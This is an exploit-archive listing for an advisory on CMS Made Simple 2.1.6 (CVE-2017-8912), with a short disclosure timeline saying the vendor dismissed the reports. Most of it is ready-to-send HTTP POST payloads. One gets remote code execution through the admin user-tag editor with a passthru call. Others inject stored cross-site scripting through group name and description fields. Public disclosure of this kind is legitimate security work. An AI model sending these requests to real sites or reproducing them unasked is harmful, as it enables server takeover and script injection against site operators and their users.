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zdtOsanda Malith1337DAY-ID-27762
HistoryMay 12, 2017 - 12:00 a.m.

CMS Made Simple 2.1.6 - Multiple Vulnerabilities

2017-05-1200:00:00
Osanda Malith
0day.today
26

0.052 Low

EPSS

Percentile

93.1%

Exploit for php platform in category web applications

# Title:             CMSMS 2.1.6 Multiple Vulnerabilities
# Date:              10-05-2017
# Tested on:         Windows 8 64-bit
# Exploit Author:    Osanda Malith Jayathissa (@OsandaMalith)
# Original write-up: https://osandamalith.com/2017/05/11/cmsms-2-1-6-multiple-vulnerabilities/
# CVE: CVE-2017-8912
 
Remote Code Execution
======================
 
POST /cmsms/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1
 
_sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru('dir')%3B&description=&run=1&apply=1&ajax=1 
 
 
Stored XSS 
==========
 
POST /cmsms/admin/addgroup.php HTTP/1.1
 
_sk_=92a32a8aaa87e958&group=%3Csvg%2Fonload%3Dalert%282%29%3E&description=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&active=on&addgroup=true
 
 
Disclosure Timeline
====================
 
09-05-2017: Reported to the vendor
09-05-2017: Vendor doesn't accept XSS issues inside admin panel and claimed the RCE as a feature, not a bug :)
10-05-2017: Public disclosure
11-05-2017: Assigned CVE-2017-8912

#  0day.today [2018-04-08]  #

0.052 Low

EPSS

Percentile

93.1%